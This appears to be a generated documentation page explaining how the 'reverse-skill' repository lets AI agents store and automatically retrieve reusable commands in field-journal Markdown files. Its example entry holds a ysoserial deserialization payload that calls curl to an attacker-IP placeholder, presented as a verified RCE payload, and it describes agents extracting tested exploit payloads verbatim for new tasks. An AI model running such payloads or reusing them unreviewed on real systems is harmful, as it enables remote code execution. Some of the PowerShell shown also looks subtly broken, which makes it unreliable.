# How Reusable Experience Is Stored in the Field-Journal Structure

> Learn how reusable experience is stored in Markdown files within the field journal structure at zhaoxuya520/reverse-skill. Discover patterns and script snippets easily.

- Repository: [ZhaoXu/reverse-skill](https://github.com/zhaoxuya520/reverse-skill)
- Tags: architecture
- Published: 2026-08-18

---

**Reusable experience is stored in Markdown files under the `skills/field-journal/` directory, specifically within a dedicated section titled "可复用的模式/脚本片段" (Reusable Patterns / Script Snippets), and made discoverable through an auto-generated [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md) catalogue.**

The **reverse-skill** repository implements a structured knowledge management system where every completed task contributes to a growing library of reusable experience. This pattern—commonly called the **field-journal** structure—allows AI agents to preserve battle-tested commands, scripts, and workarounds for rapid retrieval in future engagements.

## The Core Storage Mechanism: Markdown Entries with Dedicated Pattern Sections

Each journal entry in the field-journal structure follows a strict template defined in [`skills/field-journal/_template.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_template.md). This template reserves a specific heading for capturing reusable artifacts.

### The Template Structure

The [`_template.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_template.md) file establishes the canonical layout that every journal entry must adopt. Critical to experience reuse is the following section heading:

```markdown

## 可复用的模式/脚本片段

```

Under this heading, AI agents record:

- **Command-line one-liners** that succeeded in specific scenarios
- **Hook scripts** for interception or manipulation
- **De-obfuscation logic** for unpacking protected binaries
- **Workarounds** for environment-specific edge cases

### Example Journal Entry with Reusable Patterns

Here is a minimal but complete journal entry demonstrating how reusable experience is captured:

```markdown

# 2026-08-18 my-project

## 场景分类

<!-- 渗透测试 -->

## 可复用的模式/脚本片段

```bash

# 已验证的 JNDI RCE payload

java -jar ysoserial.jar CommonsCollections5 "curl http://{attacker_ip}/?pwn=1" > payload.bin

```

## 进化动作

- [ ] 更新了 tool-index

```

The **Reusable Patterns** section contains the verbatim, tested command that the AI can extract and adapt for similar tasks—no rediscovery required.

## The Index Layer: Fast Lookup Through [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md)

Raw storage alone does not enable efficient reuse. The field-journal structure solves this through [`skills/field-journal/_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_index.md), an auto-generated catalogue that aggregates metadata from all entries.

### How the Index Is Maintained

After any new journal file is created or modified, the following PowerShell logic (simplified from the repository's automation pipeline) updates the central index:

```powershell

# PowerShell pseudo-code run after a new journal file is added

$journalRoot = "<SKILL_ROOT>\field-journal"
Get-ChildItem "$journalRoot\*.md" |
  ForEach-Object {
    $content = Get-Content $_
    # Extract scenario category & keywords (simple regex)

    $category = ($content -match '^## 场景分类\s*$(.*)') ? $matches[1] : '未分类'

    $title    = ($_ .BaseName)
    # Append to _index.md in Markdown table format

    Add-Content "$journalRoot\_index.md" "- [$title]($title.md) | $category"
  }

```

This ensures that every entry's **scenario category** and **keywords** are immediately searchable.

## Runtime Retrieval: How Stored Experience Is Reused

According to [`README_AI.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/README_AI.md) (section *Experience Reuse Mechanism*), the AI follows a mandatory two-step lookup before starting any new task:

1. **Read [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md)** to identify relevant prior entries by category or keyword match
2. **Pull the `可复用的模式/脚本片段` section** from matching journal files

### Practical Reuse Example

When the AI encounters a new Log4j-related task, it executes retrieval logic similar to:

```powershell

# The AI searches the index for "JNDI" and reads the matching journal entry

$entry = Get-Content "skills\field-journal\seed-012_log4shell-jndi-rce.md"

# Extract the reusable block (between the headings)

$pattern = ($entry -join "`n") -match '(?s)## 可复用的模式/脚本片段`n```bash(.*?)```' ? $matches[1] : ''

Write-Host "Re-using pattern:`n$pattern"

```

This pattern matching extracts the verbatim tested payload without manual intervention.

## Mandatory Write-Back: Ensuring Experience Accumulates

The field-journal structure enforces experience preservation through [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md). After every task completion, the AI must:

- Create or update a journal entry following [`_template.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_template.md)
- Populate the **Reusable Patterns** section with any novel solutions
- Commit the entry to `skills/field-journal/`
- Trigger regeneration of [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md)

This closed loop guarantees that the knowledge base grows monotonically.

## Key Source Files in the Field-Journal Structure

| File | Purpose | Direct Link |
|------|---------|-------------|
| [`skills/field-journal/_template.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_template.md) | Master template defining where reusable experience is recorded | [View on GitHub](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_template.md) |
| [`skills/field-journal/_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_index.md) | Auto-generated catalogue enabling rapid lookup across all entries | [View on GitHub](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/_index.md) |
| [`skills/field-journal/seed-012_log4shell-jndi-rce.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/seed-012_log4shell-jndi-rce.md) | Real-world example entry containing reusable JNDI exploitation patterns | [View on GitHub](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/field-journal/seed-012_log4shell-jndi-rce.md) |
| [`README_AI.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/README_AI.md) | Documents the runtime experience-reuse behavior AI agents must follow | [View on GitHub](https://github.com/zhaoxuya520/reverse-skill/blob/main/README_AI.md#experience-reuse-mechanism) |
| [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) | Formal governance that mandates journal write-back after each task | [View on GitHub](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) |

## Summary

The field-journal structure in **reverse-skill** stores reusable experience through a dual-layer architecture:

- **Per-entry storage**: Markdown files under `skills/field-journal/` contain a dedicated `可复用的模式/脚本片段` section where tested commands, scripts, and logic are preserved verbatim
- **Centralized discovery**: The auto-generated [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md) catalogue enables O(1) lookup by scenario category and keyword before any new task begins
- **Enforced accumulation**: [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) mandates write-back, ensuring the knowledge base compounds with every completed engagement

This design transforms episodic task execution into cumulative organizational memory.

## Frequently Asked Questions

### What file format does the field-journal structure use?

The field-journal structure uses **Markdown** as its native format. Every entry is a `.md` file that follows the schema defined in [`_template.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_template.md), with specific headings—most critically `## 可复用的模式/脚本片段`—that standardize where reusable artifacts are recorded.

### How does the AI know which stored patterns to retrieve?

Per [`README_AI.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/README_AI.md), the AI must first read [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md) to match the current task's scenario against historical entries by **category** and **keywords**. Only after identifying relevant entries does the AI extract the Reusable Patterns section from those specific files. This prevents blind searches through the entire directory.

### Can reusable experience include more than shell commands?

Yes. The `可复用的模式/脚本片段` section accepts any textual artifact that proved valuable: **Python or PowerShell scripts**, **regular expressions for parsing**, **Ghidra or IDA decompiler scripts**, **frida hooks**, **configuration snippets**, or even **decision trees** documented as pseudo-code. The template imposes no language restriction on code blocks within this section.

### What happens if the [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md) file becomes stale?

The repository's automation pipeline regenerates [`_index.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/_index.md) automatically after any journal file is added or modified. Additionally, [`RULES.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/RULES.md) mandates that AI agents trigger index updates as part of the post-task write-back workflow, keeping the catalogue synchronized with the underlying entry files.